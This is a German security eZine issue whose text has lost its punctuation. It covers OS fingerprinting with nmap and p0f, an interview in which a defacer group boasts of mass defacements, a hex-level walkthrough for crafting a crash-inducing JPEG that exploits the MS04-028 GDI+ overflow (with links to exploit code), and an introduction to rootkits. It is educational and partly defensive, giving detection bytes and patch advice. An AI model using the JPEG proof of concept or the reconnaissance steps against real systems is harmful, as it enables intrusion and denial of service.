Spaxid eZine #2 - computec.ch

Inhalt

1 OS Fingerprinting mit Windows

2 Defacement von Webseiten

3 Sicherheitsluumlcke bei der Erstellung von JPEG-Bildern

4 Rootkits ndash Einsatz und Gegenmaszlignahmen unter Windows

5 Kryptologie ndash Teil 2

6 Token Ring

7 Sicherheitsrisiko Internet Explorer am Ende

Mitwirkende Autoren

Nico Triplex Spicher (triplex[at]it-helpnet[dot]de)

Jonas Havers (jh[at]it-helpnet[dot]de)

Taner exonity E (exonity[at]it-helpnet[dot]de)

Ole Elrik Loots (ole[at]monochrom[dot]net)

Christoph debu Wille (debu[at]it-helpnet[dot]de)

Simon McSchlumpf K (mcschlumpf[at]it-helpnet[dot]de)

Marko Rogge (mr[at]german-secure[dot]de) Michael Buumlrschgens (website[at]proxomitron[dot]de)

(nach Artikelindex geordnet)

Lektoren

Jonas Havers (jh[at]it-helpnet[dot]de)Martin Weber (info[at]es-de-we[dot]net)Marc Ruef (marc[dot]ruef[at]computec[dot]ch)

Kontakt und Informationen

E-Mail mail[at]spaxid[dot]it-helpnet[dot]deWebsite httpspaxidit-helpnetde

Kurzes Vorwort

Diese Ausgabe wurde leider mit einiger Verzoumlgerung veroumlffentlicht da es innerhalb des Teams diverseProbleme gab einerseits was das Schreiben von Texten anbelangt und zweitens was die Korrekturder fertige Texte betrifft Die erste Ausgabe wurde zu unserer Freude mit positivem Feedback begruumlszligtund es gab nur einzelne Verbesserungsvorschlaumlge die wir hiermit auch versuchen umzusetzen Wirhoffen dass diese Ausgabe ebenfalls so gut ankommt und wir diesmal vielleicht auch mit mehrFeedback rechnen duumlrfen

OS FingerprintingAktive und passive Systemidentifikation mit Windows

Uumlbersicht

1 Einleitung amp Theoretisches2 Praxis 21 Nmap (aktive Methode) 22 p0f (passive Methode)3 Zum Schluss4 Quellen amp weiterfuumlhrende Links

1 Einleitung amp Theoretisches

Der erste Schritt eines Angriffs oder eines Blackbox-Penetrationstests ist zweifelsfrei immerdas Betriebsystem des Ziels zu erkennen Erst danach kann man seine Vorgehensweise dieTools und aumlhnliches fuumlr das Ziel zugeschnitten auswaumlhlen Im Allgemeinen gibt es 2Methoden der Systemerkennung Die aktive hier vertreten von Nmap und die passivevertreten von p0f

Der Angreifer ist ein WindowsXP Rechner das Zielsystem mit der IP 192168211 benutztWindows 2000 als Betriebsystem Zum Auskundschaften des Zielsystems benutzen wir dasFreewaretool p0f (Version 205) und unsere Eierlegende Wollmilchsau Nmap (Version 370)

Im Prinzip ist schnell erklaumlrt wie die beiden Tools arbeiten Es gibt einige Parameter imTCPIP-Protkoll die von jedem Betriebsystem anders genutzt werden Zwar wurden in RFCsRichtlininien festgehalten jedoch sind diese nicht verbindlich So ist zum Beispiel die TTL-Dauer bei Windows XP auf 128 bei einem Linuxkernel jedoch auf 255 gesetzt Nun kann mananhand einer Datenbank mit Signaturen[1] das Betriebsystem von Hand ermitteln aber wirwissen ja Zeit = Geld -)

Um den oben genannten Vorgang zu verkuumlrzen wurden Programme geschrieben die denVorgang automatisieren sollen Fuumlr Windows-Systemen haben sich zwei Programme bewaumlhrtNmap und p0f Beide unterscheiden sich in der Funktionsweise in einem wichtigen PunktNmap ist ein aktiver Scanner der sich zu dem Zielsystem verbindet und aus der Antwortheraus seine Schluumlsse zieht

p0f ist dagegen ein passiver Scanner der keinen weiteren Traffic erzeugt Damit ist ernatuumlrlich um einiges unauffaumllliger als Nmap der von Intrusion-Detection-Systemen rechtschnell erkannt wird Auszligerdem hat Nmap keine Chance an einer Firewall uaumlvorbeizukommen - p0f dagegen wertet jedoch auch incoming traffic aus So zB die Datenwenn sich ein System auf den Server wo p0f laumluft verbindet Nach diesen Vorgaumlngenwerden dann die gesammelten Informationen mit der Datenbank der bekanntenBetriebssystem-Daten abgeglichen und ein Ergebnis gefunden

So sieht ein Teil der Datenbank von Nmap aus

Microsoft Windows XP Home (German) wSP1 ver 51 build 2600xpsp2030422-1633 SP 1 German version Microsoft Windows XP Home (German) wSP1Fingerprint Microsoft Windows XP Home Edition (German) SP1Class Microsoft | Windows | NT2KXP | general purposeTSeq(Class=RIgcd=lt6SI=lt129062ampgt775IPID=I)T1(DF=YW=FF3C|7FFFACK=S++Flags=ASOps=MNWNNT)T2(Resp=YDF=NW=0ACK=SFlags=AROps=)T3(Resp=YDF=YW=FF3C|7FFFACK=S++Flags=ASOps=MNWNNT)T4(DF=NW=0ACK=OFlags=ROps=)T5(DF=NW=0ACK=S++Flags=AROps=)T6(DF=NW=0ACK=OFlags=ROps=)T7(DF=NW=0ACK=S++Flags=AROps=)PU(DF=NTOS=0IPLEN=38RIPTL=148RID=ERIPCK=EUCK=E|FULEN=134DAT=E)

Das sind die Daten mit denen Nmap abgleicht welches Betriebssystem ihm antwortetNaumlhere Informationen gibt es unter [2]

Bei p0f sind die Daten etwas anders aufgeteilt mehr Infos dazu gibt es in der Readme aufder Projektwebsite [3]

1638464164MNNSNW0NNTOpenBSD30-34

2 Praxis

21 Nmap

Anfangen wollen wir mit Nmap dem aktiven Scanner Bei jedem Scan fuumlhrt er zuerst einenPortscan und weitere allgemein Checks durch Danach sendet er insgesamt 9 Pakete um dasBetriebssystem zu ermitteln

An offene Ports werden gesendet- Ein TCP-Packet mit SYN und ECN Flag- Ein Null-Packet ohne irgendein gesetztes Flag- Ein Packet mit aktivierten URG-PSH-SYN- und FIN-Flag- Ein Packet mit ACK-Flag- Der sog Sequenz Test - 6 Packete mit aktivierten SYN-Flags werden gesendet um dasSchema der TCP-Sequenznummern zu erraten

An geschlossene Ports werden gesendet- Ein Packet mit SYN-Flag- Ein Packet mit ACK-Flag- Ein Packet mit URG-PSH- und FIN-Flag- Der sog Unreachable Test - Ein UDP Packet wird an einen geschlossenen Port gesendetum eine Port Unreachable Nachricht zuruumlckgeschickt zu bekommen

Starten wir also Nmap mit folgendem Parameter

nmap -sS -O -v 1921682111

-sS aktiviert die TCP SYN-Scan-Methode mit der nur halb-offene Verbindungen hergestelltwerden Sie ist um einiges Unauffaumlliger als die normale TCP connect()-Scan-Methode-O aktiviert das Identifizieren des Betriebssystems anhand des Fingerabdrucks der TCPIP-Packets-v aktiviert den Verbose-Modus womit mehr Optionen als im Standartmodus ausgegeben192168211 Wer haumltte das gedacht - unser Zielsystem )

Aha Wie wir sehen haumllt Nmap das Zielsystem fuumlr eine Windowsbox Falls nun aber eineFirewall oder aumlhnliches im Weg waumlre kaumlmen wir mit Nmap nicht weiter Hier kommt p0f insSpiel

22 p0f

p0f bietet vier Erkennungsmethoden

- Incoming connection fingerprinting Also die Faumlhigkeit zB jemanden der sich zumRechner verbindet zu untersuchen- Outgoing connection fingerprinting Um Systeme zu denen eine Verbindungenerfolgreich hergestellt wird zu untersuchen- Outgoing connection refused fingerprinting Damit koumlnnen Systeme untersuchtwerden auch wenn sie eine Verbindung ablehnen- Established connection fingerprinting Bereits bestehende Verbindungen koumlnnendamit untersucht werden

Da ich am Anfang auch erst Probleme mit p0f hatte hier ein kleiner Tipp Wenn man p0f mit-L startet so sieht man alle Interfaces die zu Verfuumlgung stehen

Danach startet man das Programm einfach mit -i und der Zahl des entsprechenden InterfaceHier starte ich das Tool mit

p0f -i2

Nachdem sich das Zielsystem auf den Webserver des Angreifers verbunden hat erkennt mandass p0f trotz seiner mangelnden Moumlglichkeiten als passiver Scanner zu dem richtigenErgebnis gekommen Auch das System des Angreifers wurde richtig gedeutet als es versuchtauf die freigegeben Dateien des Opfers zuzugreifen

3 Zum Schluss

Wie man sieht kommt man mit beiden Programmen zu guten Ergebnissen Beide haben ihreVor- und Nachteile

Nmap p0f+ groszlige Datenbank (ca 900verschiedene Betriebssysteme)

+ voumlllig unsichtbar durch passive Scan-Methode

- auffaumllig durch aktive Scan-Methode - kleinere Datenbank amp ungenauer durchweniger vorhandene Daten

Letztendlich sollte man das Tool seiner Wahl den Umstaumlnden entsprechend auswaumlhlen mankommt aber mit beiden zu guten Ergebnissen Und nachdem wir nun wissen welches Systemdas Opfer nutzt koumlnnen wir mit diesen Informationen weitere Schritte planen unddurchfuumlhren

Beispiel mit Metasploit und dem RPCSS-Exploit

Die Modulbeschreibung befindet sich aufhttpmetasploitcomprojectsFrameworkexploitshtmlmsrpc_dcom_ms03_026

4 Quellen und weiterfuumlhrende Links

Allgemein

httplcamtufcoredumpcxp0fshtmlhttpwwwinsecureorgnmaphttpwwwpacketwatchnetdocumentspapersosdetectionpdf

Sonstige[1a] httpprojecthoneynetorgpapersfingertracestxt[1b] httpwwwcomputecchprojektefingerprint-statistiken[2] httpwwwinsecureorgnmapnmap-fingerprinting-article-dehtml[3] httplcamtufcoredumpcxp0fREADME

-- Nico Triplex Spicher

Defacement von Webseiteninkl Interview der Gruppe bdquohax0rs labldquo

1 Erlaumluterung der Thematik

Als Defacement bezeichnet man das Entstellen oder Veraumlndern von Webseiten Hierbeiwerden Sicherheitsluumlcken in Webservern und Webapplikationen ausgenutzt um Zugriff aufdas betroffene System zu gewinnen Nach einem erfolgreichen Angriff wird auf dempenetrierten System meist die Hauptseite (=der Index) veraumlndert oder gegen eine andereSeite des Angreifers ersetzt Zum Gewinnen der noumltigen Rechte um dieses tun zu koumlnnendienen neben Softwareschwaumlchen auch schwache Passwoumlrter die durch bdquoBrute Forceldquo- oderbdquoDictionaryldquo-Attacken aufgedeckt werden koumlnnen Das Social Engineering spielt hierbeibeispielsweise auch eine moumlglich wichtige Rolle Ist der Zugriff gelungen meldet derAngreifer die betroffene Seite meist einem Dienst im Internet der die veraumlnderte Seitearchiviert Das bekannteste Beispiel fuumlr solch ein Archiv ist wohl die Seite Zone-Horg wotaumlglich mehrere tausend modifizierte Seiten erscheinen Nimmt man ein Beispiel aus demrealen Leben koumlnnte man ein Defacement etwa mit einem Graffiti vergleichen wo ebenfallsSpruumlche und Bilder hinterlassen werden Im Folgenden sind die unterschiedlichen Arten vonDefacements aufgefuumlhrt

Homepage Defacement Ein Homepage Defacement auch Hactivimus genannt dient dazuauf besondere Belange aufmerksam zu machen Diese haben zum Beispiel politischeHintergruumlnde und werden auf der Indexseite platziert

Mass Defacement Mass Defacement nennen die Zone-h-Experten einen Einbruch auf vieleverschiedene Websites die unter der gleichen IP-Adresse zu erreichen sind Das kann zumBeispiel Internet-Angebote unterschiedlicher Firmen betreffen die auf Servern groszligerProvidern gespeichert sind Als R- Redefacement bezeichnet Zone-h ein erneutes Defacementeiner Website innerhalb einer Woche

Special Defacement Ein Special Defacement ist der Einbruch auf Server die vonRegierungsbehoumlrden betrieben werden Es sei davon auszugehen dass sie gut administriertsind und bekannte Sicherheitslecks rasch beseitigt werden Wer dort eindringt hat allerdingsmeistens Zugriff auf viele verschiedenen Sites

2 Interview mit der Defacer-Gruppe bdquohax0rs labldquo

Anmerkung Dieses Interview wurde mit dem Mitglied bdquoUSDLldquo in englischer Sprache gefuumlhrtund ins Deutsche uumlbersetzt Alle eventuell unverstaumlndlichen Woumlrter sind kursiv gedruckt undunten angegeben

1 Wer ist fuumlr bdquohax0rs labldquo verantwortlichhax0rs lab besteht zur Zeit aus drei Mitgliedern f0ul r0lty und mir (USDL) Alle Mitgliedersind fuumlr die Gruppe verantwortlich und haben eine spezielle Aufgabe

2 Wo liegt das Durchschnittsalter der Mitgliederf0ul - 21USDL - 20r0lty - 18

3 Welcher Nationalitaumlt gehoumlrt ihr anf0ul kommt aus Rio Grande do Sul (Brasilien)Ich und r0lty kommen aus Satildeo Paulo (Brasilien)

4 Habt ihr die schulische Ausbildung abgeschlossen Welchen Beruf uumlbt ihr derzeitausJa zum TeilF0ul besucht noch die Schule und arbeitet nebenbei in einem Softhouse ich arbeite in einerHardwarefirma (Systemintegration) und R0lty wird dieses Jahr die Schule abschliessen

5 Erstellt ihr eigene Exploits zum bdquoDefacenldquo der WebseitenJa weil wir es moumlgen eigene Programme zu entwickeln und es unserer Meinung nacheinfach besser ist diese den eigenen Beduumlrfnissen anpassen zu koumlnnen und da wir unserKoumlnnen darin einflieszligen lassen und unter Beweis stellen koumlnnen

6 Verwendet ihr ausschliesslich eigene ExploitsWir benutzen nebenbei Programme von anderen Entwicklern wie zB Ethereal Nmap undandere Aber ich kann sagen dass wir hauptsaumlchlich unsere eigenen Programme verwendenwenn keine anderen existieren die unser Ziel vielleicht besser erfuumlllen koumlnnten

7 Durch welche Sicherheitsluumlcken verschafft ihr euch am haumlufigsten ZugriffUns begeistert es nach Schwachstellen in Systemen zu suchen die fuumlr sicher gelten wie eszum Beispiel bei OpenSSL der Fall ist In einigen Faumlllen schreiben wir auch auf wie es moumlglichist diese auszunutzen (Beispiel httppacketstormdigital-networknet0207-exploitsopensslrvtxt)

8 Seit wann seid ihr aktiv dabei Webseiten zu modifizierenWir als Gruppe sind seit dem Jahr 2001 aktiv starteten also von da an Attacken auf Serverund Webseiten Mit der Zeit haben wir allerdings aufgrund unseres Alters mehrVerantwortung im Leben neben dem Computer uumlbernehmen muumlssen weshalb wir dieIntensitaumlt von Angriffen verringern mussten Wir sind allerdings weiter aktiv mit dem Wissendas wir brauchen um weiterhin in der Oumlffentlichkeit praumlsent zu sein wenn es noumltig ist Wirmoumlgen die Herausforderung Sicherheitsluumlcken in scheinbar sicheren Systemen von groszligenUnternehmen und groszligen internationalen Servern zu suchen

9 Wie groszlig war euer groumlszligtes bdquomass defacementldquoInnerhalb der drei Jahre seitdem wir aktiv sind haben wir diverse bdquomass defacementsldquodurchgefuumlhrt die unterschiedliche Gruumlnde hatten und international wahrgenommen wurdenDas groumlszligte bdquomass defacementldquo umfasste fast 10000 Seiten Zuvor hatten wir 5000 Seitenaus Nord-Amerika veraumlndert um ein Zeichen gegen den Krieg im Irak zu setzen DieseAttacke machte anschlieszligend seinen Weg durch die internationalen Medien Die groumlszligteAttacke war aber wie gesagt das Veraumlndern von 10000 Seiten

10 Uumlber welche Attacke seit ihr am stolzestenWir sind uumlber alle Attacken stolz aber am meisten uumlber die Attacken gegen groszligeUnternehmen wie America Online(aolcom) Nasa(nasagov) ICQ Goodyear HewlettPackard(hpcom) Siemens(siemenscomar) Comsat(Comsatcomar) Pepsi SamsungMicrosoft Network IBM Alcatel und so weiter

11 Ist es nur Spaszlig oder stecken auch politische Gruumlnde hinter euren AttackenWir machen es hauptsaumlchlich aus Spaszlig Neugier und aus politischen Hintergruumlnden herauswenn wir groszlige Angriffe durchfuumlhren

12 Was sagt das brasilianische Gesetz zu euren AktivitaumltenViele Jahre lang gab es keine Bestrafung fuumlr solcherlei Angriffe aber derzeit wird eineAbstimmung uumlber neue Gesetze zum Vorgehen gegen diese Delikte durchgefuumlhrt

13 Erhaltet ihr viele E-Mails von betroffenen Administratoren Koumlnnt ihr ihnenimmer helfenJa wir erhalten oft E-Mails von Administratoren und wir helfen immer wenn wir koumlnnenaber in einigen Faumlllen werden wir nach Hilfe gefragt die schon soweit geht als ob wir selbstdie Administratoren waumlren

14 Was denkt ihr uumlber sie Sind sie unfaumlhig Server zu betreuen weil ihre Serversolche Sicherheitsluumlcken aufweisenNicht immer Manchmal haben die Administratoren keine Schuld Andere Administratorenhingegen wohl

15 Was sagt ihr persoumlnlich zu den Anschuldigungen aufhttpwwwzone-hcomdefaced20020818wwwhax0rslaborg

httpwwwzone-horgdefacementsmirrorid=60666 httpwwwzone-horgendefacementsviewid=62285 httpwwwzone-horgendefacementsviewid=62651

Es ist ein privater Wettstreit der keinen weiteren Kommentar benoumltigt

16 Wie lange plant ihr mit euren Aktivitaumlten fortzufahrenIch weiss nicht Ich mag das Wissen und ich weiss dass ich immer genug Wissen habenwerde um Webseiten zu defacen

17 Welche Gruppen oder Einzelpersonen respektiert ihr am meistenWir respektieren alle denn wir wissen dass jeder spezielle Gruumlnde hat weshalb er dasmacht was er macht Dass wir Gruppen mehr respektieren die unter Krieg im eigenen Landleiden und deshalb der Welt zeigen wollen was Tag fuumlr Tag vor sich geht ist klar

3 Begriffserklaumlrung der im Interview verwendeten Begriffe

Defacement Entstellung der Hauptseite einer DomainMass-Defacement der Einbruch auf viele verschiedene Webseiten die unter der gleichenIP-Adresse zu erreichen sind Defacen der Vorgang des Modifizierens von InternetseitenExploit Programmcode der Schwachstellen in anderer Software ausnutzt

4 Das Deutsche Gesetz

Im StGB (Strafgesetzbuch) widersprechen hauptsaumlchlich folgende Gesetzestexte deroben erklaumlrten Aktionen

sect 202a - Ausspaumlhen von Daten(1)Wer unbefugt Daten die nicht fuumlr ihn bestimmt und die gegen unberechtigten Zugang

besonders gesichert sind sich oder einem anderen verschafft wird mit Freiheitsstrafe biszu drei Jahren oder mit Geldstrafe bestraft

(2)Daten im Sinne des Absatzes 1 sind nur solche die elektronisch magnetisch oder sonstnicht unmittelbar wahrnehmbar gespeichert sind oder uumlbermittelt werden

sect 263 - Computerbetrug(1)Wer in der Absicht sich oder einem Dritten einen rechtswidrigen Vermoumlgensvorteil zu

verschaffen das Vermoumlgen eines anderen dadurch beschaumldigt dass er durchVorspiegelung falscher oder durch Entstellung oder Unterdruumlckung wahrer Tatsachen einenIrrtum erregt oder unterhaumllt wird mit Freiheitsstrafe bis zu fuumlnf Jahren oder mit Geldstrafebestraft

(2)Der Versuch ist strafbar sect 303a ndash Datenveraumlnderung (1)Wer rechtswidrig Daten (sect 202a Abs 2) loumlscht unterdruumlckt unbrauchbar macht oder

veraumlndert wird mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe bestraft(2)Der Versuch ist strafbar

sect 303b ndash Computersabotage

(1)Wer eine Datenverarbeitung die fuumlr einen fremden Betrieb ein fremdes Unternehmenoder eine Behoumlrde von wesentlicher Bedeutung ist dadurch stoumlrt dass er

1 eine Tat nach sect 303a Abs 1 begeht oder

2 eine Datenverarbeitungsanlage oder einen Datentraumlger zerstoumlrt beschaumldigt unbrauchbarmacht beseitigt oder veraumlndert(2)Der Versuch ist strafbar

-- Jonas Havers

Sicherheitsluumlcke bei der Erstellung von JPEG-Bildern

Index

bull Beschreibung der Sicherheitsluumlckebull Aufbau einer JPEG-Dateibull Fehlerursachebull Ausnutzung der Sicherheitsluumlckebull Erkennung einer manipulierten JPEG-Dateibull Sicherheitsrisikobull Wie koumlnnte ein Angriff aussehen bull Vorsichtsmaszlignahmenbull Links

Beschreibung der Sicherheitsluumlcke

Die JPEG ndash Verarbeitungsengine in der GDIPlusdll enthaumllt einen ausnutzbaren BufferOverflow Durch diesen Buffer Overflow sind potenzielle Angreifer in der Lage gefaumlhrlichenCode in das System einzuschleusen und damit evtl Hintertuumlren zu oumlffnen

Aufbau einer JPEG-Datei

In diesem Abschnitt werden nur wichtige Elemente einer JPEG-Datei behandelt die fuumlr dasGenerieren einer manipulierten JPEG-Datei spaumlter gebraucht werden

Header Wird eingeleitet mit den 2 Bytes 0xFFD8 durch diese weiss man dass es sich bei dieser Datei um eine JPEG - Datei handeltComment Wird eingeleitet mit den 2 Bytes 0xFFFE Auf diese 2 Bytes folgen

noch mal 2 Bytes (high byte low byte) und diese geben die Laumlnge des Kommentars an und zwar Kommentarlaumlnge + 2 (0xFFEE)Bsp (Zahlenangaben in Dezimal)Wenn wir den Kommentar bdquoJust a Proofldquo haben dann wissendass dieser eine Laumlnge von 14 hat Auf diese 14 wird jetzt noch die 2 hinzuaddiert und damit haumltten wir eine Gesamtlaumlnge von 16Zu beachten ist dass das Laumlngen Feld eine Mindestlaumlnge von 2da es auch die 2 Bytes beinhaltet die die Laumlnge angeben haben muss was einem leeren Kommentar entspricht

Data Segment Wird eingeleitet mit den 2 Bytes 0xFFDAEnd Wird gekennzeichnet mit den 2 Bytes 0xFFD9

Fuumlr weitere Informationen empfehle ich ldquoA note about the JPEG decoding algorithmrdquo (von Cristi Cuturicu 1999)

Fehlerursache

Der Kommentarbereich wird wie Sie bereits wissen mit 0xFFFE eingeleitet Darauf folgt ein 16bit unsigned Integer Somit ist es moumlglich in diesem Kommentarbereich 65533 Bytes zu speichern Auch wie Sie bereits wissen muss der 16bit unsigned Integermindestens den Wert 2 haben da es auch die Laumlngenfeldgroumlszlige beinhaltet Aber sobald man den Wert des Laumlngenfeldes auf 0 oder 1 setzt entsteht ein Buffer OverflowDas eigentliche Problem liegt bei GDI+ Es pruumlft nicht den Wert des Laumlngenfeldes weshalbdas Feld eine Groumlszlige kleiner als 2 haben kann Danach zieht GDI+ automatisch die 2 von der Kommentarlaumlnge ab da die Kommentarlaumlngebereits den Wert 0 enthaumllt nimmt diese letztendlich den Wert -2 an Der Wert -2 wuumlrde im Hexadezimalsystem FFFE ergeben wenn es ein 16bit unsigned Integerwaumlre Allerdings wird der 16bit unsigned Integer zuerst in 32bit umgewandelt und somit hatist der Hexadezimalwert FFFFFFFE

Code

include ltiostreamgtusing namespace std

int main()

unsigned short word = 0 -2unsigned long dword = 0 - 2cout ltlt 16bit ltlt hex ltlt word ltlt endlcout ltlt 32bit ltlt hex ltlt dword ltlt endlreturn 0

Ausgabe

16bit fffe32bit fffffffe

FFFFFFFE entspricht 4294967295 Bytes was ungefaumlhr 4 Gigabyte entspricht

Rechnung

4294967295 Bytes 1024 = 41943039990234375 Kb41943039990234375 Kb 1024 = 409599999904632568359375 Mb409599999904632568359375 Mb 1024 = 3999999999068677425384521484375 GB

Durch die darauf folgende Funktion memcpy versucht GDI+ ca 4 GB in den Arbeitsspeicherzu schreiben und verursacht einen Programmabsturz der potenziellen Angreifern ermoumlglichtihren preparierten Shellcode auszufuumlhren Informationen uumlber die Funktion memcpy findenSie unter httpwwwcpluspluscomrefcstringmemcpyhtml

Ausnutzung der Sicherheitsluumlcke

Wie wir nun wissen reicht es den Wert fuumlr die Laumlnge des Kommentars einfach auf 0 oder 1 zusetzen um einen Buffer Overflow zu erzeugen Mit diesem Wissen machen wir uns an dieArbeit und erstellen eine manipulierte JPEG-Datei die zB Microsoft Word XP zum Abstuumlrzenbringt Hierzu erstellen wir mit einem beliebigen Grafikprogramm ein einfaches Bild Ich habeeinfach mal dieses Bild hier erstellt

Anschlieszligend oumlffnen wir dieses Bild mit einem Hexeditor Ich habe in diesem Beispiel HexWorkshop 423 (httpwwwbpsoftcomdownloadsindexhtml) verwendetSie sollten nun in etwa Folgendes sehen

Am Anfang der JPEG-Datei sehen Sie direkt schon die 2 Bytes 0xFFD8 welche ausdruumlckendass es sich bei dieser um das Format JPEG handeltHinter den 2 Bytes machen wir einen Rechtsklick und druumlcken auf bdquoInsertldquo

In dem darauf folgenden Dialog geben Sie bei der einzufuumlgenden Anzahl der Bytes 22 ein undbestaumltigen mit bdquoOKldquo

Wir sehen nun dass 22 Bytes hinter dem 0xFFD8 eingefuumlgt worden sind jedoch enthaltenalle den Wert 0 Also klicken wir hinter das 0xFFD8 und tippen dann Folgendes ein

CodeFFFE 0010 4A75 7374 2061 2050 726F 6F66 2121 FFFE 0000

Das Ganze sollte nun so aussehen

Mit 0xFFFE leiten wir einen Kommentar ein und geben mit 0x0010 die Laumlnge desKommentars an 0x0010 entspricht der Dezimalzahl 16 Und 0x4A 0x75 0x73 0x74 0x20 0x61 0x20 0x50 0x72 0x6F 0x6F 0x 66 0x21 0x21 istunsere Kommentar was wenn man es umrechnet bdquoJust a Proofldquo bedeutet

Codeinclude ltiostreamgtinclude ltstringgtusing namespace std

int main()

string sComment = Just a Prooffor(int x = 0 x lt sCommentlength() x++)

cout ltlt hex ltlt (int)sComment[x] ltlt return 0

Ausgabe

Das 0xFFFE 0x0000 erzeugt wie Sie bereits wissen einen Buffer Overflow

Wir koumlnnten jetzt noch vor das 0xFFD9 was das Ende der JPEG-Datei kennzeichnetunseren Shellcode einfuumlgen

Jedoch brauchen wir das in unserem Fall nicht zu machen da wir nur das Programm zumAbsturz bringen wollen und speichern deswegen nun die veraumlnderte Datei

Versucht man nun dieses Bild zB in Microsoft Word XP zu laden stuumlrzt die Software ab undzeigt folgende Meldung an

Erkennung einer manipulierten JPEG-Datei

Wie Sie nun bereits ahnen erkennt man so ein manipuliertes Bild an folgenden Bytes

0xFF 0xFE 0x00 0x00 oder 0xFF 0xFE 0x00 0x01

Sicherheitsrisiko

Diese Sicherheitsluumlcke ist als sehr kritisch einzuschaumltzen da eine Vielzahl von Softwarebetroffen und die fuumlr die Buffer Overflow verantwortliche gdiplusdllstandardmaumlszligig in Windows XP Windows XP Service Pack 1 sowie Windows Server 2003enthalten ist Ausserdem ist das JPEG-Format aufgrund der geringen Qualitaumltsverluste beimKomprimieren des Bildes eines der meist verbreiteten Bildformate uumlberhaupt und wirddeshalb auch gerne auf Internetseiten verwendet

Auszug von Heise-Security

Bei der Verarbeitung von JPEG-Dateien im Internet Explorer kommt es zu einemzusaumltzlichen Problem

JPEG-Grafiken die aus dem Internet geladen werden werden vom Browser schonangezeigt bevor sie als Datei in den sogenannten Cache gespeichert werden Zu diesemZeitpunkt liegt noch keine Datei zur Uumlberpruumlfung durch ein Virenschutzprogramm vor Erstnach der Anzeige im Browser (Verarbeitung) schreibt der Browser die Datei in denBereich der temporaumlren Internet-Dateien Als Datei kann sie zu diesem Zeitpunkt vomViren-Schutzprogramm durchsucht werden Die Viren-Warnung kommt prompt - aber zuspaumlt

Weiterhin spielt der Name der Grafik-Datei keine Rolle JPEG-Dateien brauchen nicht dieErweiterung JPG Der Internet Explorer erkennt am Inhalt dass es sich um eine JPEG-Grafik handelt und zeigt sie sofort an

Quelle httpwwwheisedesecurityartikel51526

Microsoft selbst stuft die Schwachstelle als kritisch ein mit der houmlchsten von vier moumlglichenStufen Betroffene und nicht betroffene Software finden Sie unterhttpwwwmicrosoftcomtechnetsecuritybulletinMS04-028mspx

Wie koumlnnte ein Angriff aussehen


bdquoAlle Programme die JPEG-Bilder verarbeiten koumlnnen von diesem Angriff betroffen seinDazu gehoumlren beispielsweise Ihr E-Mail-Programm der Webbrowser (zB InternetExplorer) Office Anwendungen oder sogar Ihr Windows Explorer

Ein Angreifer koumlnnte eine HTML-E-Mail-Nachricht erstellen die mit einem modifizierten Bildversehen ist Wuumlrde nun die HTML-E-Mail-Nachricht geoumlffnet oder im Vorschaufensterangezeigt kaumlme es zur Ausfuumlhrung von boumlsartigem CodeAuch das Anzeigen eines veraumlnderten Bildes durch den Internet Explorer beim Besuch einerInternetseite koumlnnte ausreichen Genauso gut koumlnnte ein Angreifer ein speziell gestaltetes Bild in ein Office-Dokumenteinbetten und dann den Benutzer zur Anzeige dieses Dokuments verleiten oder einfach einmodifiziertes Bild auf den Computer schleusen dass dann in der Vorschau desVerzeichnisses mit dem Windows Explorer angezeigt wirdldquo


Vorsichtsmaszlignahmen

In erster Linie sollten Sie schnellstmoumlglich versuchen die in Ihrem System betroffene Software zu erneuern Zusaumltzlich sollten Sie auch Ihre Virussignaturen aktualisieren Und falls Sie den Internet Explorer benutzen ist es empfehlenswert auf einen nicht betroffenen Browser wie zB Opera oder Mozilla (Firefox) umzusteigen

Links

Weiterfuumlhrende Informationenhttpwwwheisedesecurityartikel51526httpwwwheisedesecuritynewsmeldung51197httpwwwheisedesecuritynewsmeldung51070httpsupportmicrosoftcomdefaultaspxscid=kbEN-US873374httpwwwmicrosoftcomgermanymssecurityjpegsecmspxhttpwwwmicrosoftcomgermanytechnetservicedeskbulletinms04-028mspxhttpwwwwebhostingtalknlshowthreadt-57211html

Exploitshttpwwwk-otikcomexploits09222004ms04-28shphphttpwwwk-otikcomexploits09222004ms04-28-cmdcphphttpwwwk-otikcomexploits09232004ms04-28-adminshphphttpwwwk-otikcomexploits09252004JpegOfDeathcphphttpwwwk-otikcomexploits09272004JpgDownloadercphphttpwwwk-otikcomexploits09272004JpegOfDeathMcphp

-- Taner exonity E

ROOTKITS

Einsatz und Gegenmaszlignahmen unter Windows

1 Was sind Rootkits

Hinweis In den nun folgenden Saumltzen werde ich den Begriff bdquoRootkitldquo durch das Kuumlrzel RKersetzen

Unter einem RK versteht man Programmcode der die eigentliche Funktion einesBetriebsystems zum Vorteil eines Angreifers kompromittieren Mittlerweile gibt es vieleProgrammpakete die man unter dem Begriff RK zusammenfassen kann Dem Angreifer solldie Moumlglichkeit gegeben werden das kompromittierte System nutzen zu koumlnnen und dabeigleichzeitig unentdeckt zu bleiben

RKs bieten dem Benutzer diverse Features um diesem Wunschziel etwas naumlher zu kommen

Das Verstecken von Dateien (vor den Programmen die Dateien anzeigen bzw oumlffnen) Das Verstecken von Prozessen (vor Programmen wie dem Windows-Taskmanger) Das Verstecken von Netzwerkverbindungen (vor Programmen wie Netstat) Das Verstecken von Registry Eintraumlgen

Sicherlich gibt es auch Ableger die es etwas anders handhaben bzw einen anderen Sinnerfuumlllen jedoch auf aumlhnlicher Technik beruhen

RKs entstanden vor allem in der UnixLinux Welt - daher ihr Name Dies liegt vor allemdaran dass der Quellcode von vielen Unix-basierenden Systemen offen ist und daher leichtveraumlndert werden kannMittlerweile gibt es auch einige Windows RKs - im Gegensatz zu der Anzahl unter Linux Unix ist das jedoch eine ziemlich geringe Anzahl

Durch die Einfuumlhrung des NX Flags mit dem XP Service Pack 2 scheinen Exploits erstmalseingegrenzt zu sein Eine Methode eigenen Code auszufuumlhren bleibt jedoch immer nochaufgrund von Viren Ferner ist das Problem mit den Bufferoverflows noch nicht ganzverschwunden denn auch ein veraumlnderter String Stringpointer oder manipulierter Wert kannSchaden anrichten Ein bisschen mehr Koumlpfchen und Zeit ist jedoch schon gefragt

Rootkits haben nur eine geringe Existenzberechtigung wenn nicht auch Code auf einemSystem ausgefuumlhrt werden kann Die Zukunft wird zeigen wie sicher neue Betriebsystemeund Hardwareelemente sofern sich die Trusted Computing Group durchsetzt im Bereich derBuffer Overflows wirklich sind Sicherlich gibt es auch viele andere Luumlcken in speziellenSystemen doch das Ausfuumlhren von eigenem Code auf fremden Rechnern ist bisher eine dermaumlchtigsten Moumlglichkeiten

2 Die Technik

